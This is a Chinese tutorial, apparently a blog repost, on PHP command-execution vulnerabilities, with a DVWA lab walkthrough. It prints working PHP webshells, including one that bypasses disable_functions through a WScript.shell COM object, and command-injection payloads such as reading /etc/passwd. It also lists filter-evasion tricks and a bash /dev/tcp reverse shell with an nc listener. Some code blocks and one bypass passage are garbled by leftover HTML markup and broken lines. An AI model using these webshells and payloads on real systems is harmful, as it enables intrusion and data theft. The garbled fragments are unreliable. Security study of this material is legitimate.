一、命令执行漏洞介绍
命令执行(Command Execution)漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限,可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行,更常见的命令执行漏洞是发生在各种Web组件,包括Web容器、Web框架、CMS软件、安全组件等
二、PHP与命令执行漏洞相关的函数:
1、PHP的5种命令执行函数:system()、exec()、passthru()、shell_exec()、“运算符
eval()函数注入攻击,将参数字符串作为PHP 程序代码来执行,用户可以将 PHP 代码保存成字符串的形式,然后传递给 eval 函数执行。
PHP中的preg_replace()函数、str_replace()函数以及call_user_func()函数同样可以实现eval 注入攻击的效果。preg_replace()函数的作用是用来执行常规表达式的查找和替换的,当替换内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。
2、命令执行小集:
<?php
cmd</span><span>=</span><span class="string">"system"</span><span>; </span></span></li><li class="alt"><span>ob_start(<span class="vars">cmd);
echo “_GET[cunlide]"</span><span>; </span></span></li><li class="alt"><span>ob_end_flush(); </span></li><li class=""><span><span class="func">echo</span><span> </span><span class="string">"<br>"</span><span>; </span></span></li><li class="alt"><span>system(<span class="string">"_GET[cunlide]”);
echo “<br>”;
echo exec(“_GET[cunlide]"</span><span>); </span></span></li><li class=""><span><span class="func">echo</span><span> </span><span class="string">"<br>"</span><span>; </span></span></li><li class="alt"><span><span class="func">echo</span><span> shell_exec(</span><span class="string">"_GET[cunlide]”);
echo “<br>”;
echo passthru(“$_GET[cunlide]”);
echo “<br>”;
echo `$_GET[cunlide]`;
?>
<?php
$cmd="system";
ob_start($cmd);
echo "$_GET[cunlide]";
ob_end_flush();
echo "<br>";
system("$_GET[cunlide]");
echo "<br>";
echo exec("$_GET[cunlide]");
echo "<br>";
echo shell_exec("$_GET[cunlide]");
echo "<br>";
echo passthru("$_GET[cunlide]");
echo "<br>";
echo `$_GET[cunlide]`;
?>
3、PHP后门木马常用的函数类型:
执行系统命令:system, passthru, shell_exec, exec, popen, proc_open
代码执行与加密:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含与生成:require,require_once,include, include_once,file_get_contents, file_put_contents, fputs, fwrite
.htaccess:SetHandler, auto_prepend_file, auto_append_file
三、绕过disable_functions的方法:
禁止 webshell 执行命令原理:PHP配置文件里的disable_functions = 配置,用来禁止某些 php 函数。
1、 黑名单绕过
2、 系统组件绕过(Windows):
<?php
command</span><span>=</span><spanclass="vars">_POST[a];
wsh</span><span> = </span><span class="keyword">new</span><span> COM(</span><span class="string">'WScript.shell'</span><span>); </span><span class="comment">// 生成一个 COM 对象</span><span> </span></span></li><li class=""><span><span class="vars">exec = wsh</span><span>-></span><span class="func">exec</span><span>(</span><span class="string">'cmd.exe /c '</span><span>.</span><span class="vars">command); //调用对象方法来执行命令
stdout</span><span> = </span><span class="vars">exec->StdOut();
stroutput</span><span> = </span><span class="vars">stdout->ReadAll();
echo $stroutput
?>
<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个 COM 对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
Shell.Application 也可以实现同样的效果。
彻底的解决方案是直接删除 System32 目录下 wshom.ocx 文件。
3、 扩展库绕过:Linux下可通过编译拓展库进行绕过。
防御方法:将dl函数加入disable_function中禁用。
使用PHP突破Disable_functions执行Linux命令:linux 的 webshell 管理员禁用了exec,system,passthru,popen,shell_exec等等 PHP 执行命令函数,导致不能执行命令,php 提供了一个扩展模块功能,使用 dl 函数能包含一个扩展模块。类似.so或者想windows下的 dll 文件。可以自定义函数来调用 linux 命令而无视Disable_functions的限制。
在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给 create_function()执行任意命令。
四、检测方法:
基于黑盒的测试:简单点就是直接手工在输入内容之后添加各种分号或其它可以绕过的符号再添加命令,最后查看返回结果判断。
基于白盒的测试:查看源代码,搜索与执行PHP代码的函数如eval、assert和执行系统命令的函数如system、passthru等。
五、实战
靶场采用DVWA
low级别,查看代码
输入命令8.8.8.8&&cat /etc/passwd,发现执行六第一个命令的同时也执行了第二个命令,这个即为命令执行漏洞
medium级别,查看代码 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20200708192700308.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQyMTExMzcz,size_16,color_FFFFFF,t_70) 输入命令8.8.8.8&&cat /etc/passwd,发现不能执行了,把&去掉一个即可执行,这就是简单的绕过
六、常见绕过方法
命令执行漏洞的空格过滤
在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS
这些都可以当做空格符作为代替。
一些命令分隔符:
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
花括号的别样用法:
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}
拼接绕过黑名单
a=l;b=s;$a$b a=fl;b=ag;cat $a$b
编码绕过
$(printf “\154\163”) ==>ls
$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 ==>cat /flag
单引号,双引号绕过:
ca’'t flag 或ca""t flag
反斜杠绕过
1; l\s -l;1
利用shell特殊变量绕过
1; l$@s -l;1 · 1; l$*s -l;1 1; l$ns -l;1 //n为任意数字都可以
绕过长度限制
1>1.txt创建一个空文件,当然任何大于1的数字都可以被用来创建一个空文件。
内联执行
root@kali:~# echo “aifconfig
” 或者 echo “abcd $(pwd)
其他方法
利用通配符: 1; cat
I
F
S
f
l
∗
;
1
最
简
单
的
:
1
;
c
a
t
∗
;
11
;
c
a
t
{IFS}fl* ;1 最简单的:1;cat *;1 1; cat
IFSfl∗;1最简单的:1;cat∗;11;cat{IFS}fla? ;1
1; cat${IFS}fla[^1] ;1
当cat被过滤后
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
<与<<的区别
使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建该文件再存入。
1>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容。
文件读取绕过
root@kali:~# ls -t
flag
root@kali:~# ls -t > a
root@kali:~# sh a
flag wwww
利用base64编码绕过
root@kali:~# echo Y2F0Cg== |base64 -d
testip.txt
sss
ddd
处理无回显的命令执行漏洞
利用bash命令: 使用nc监听我们的8080端口:nc -l -p 8080 -vvv 把bash命令传过来:bash -i >& /dev/tcp/ip地址/8080 0>&1 关于这个的具体实现原理可以再网上找下,有很多详细的说明。
具体参考http://www.ghtwf01.cn/index.php/archives/273/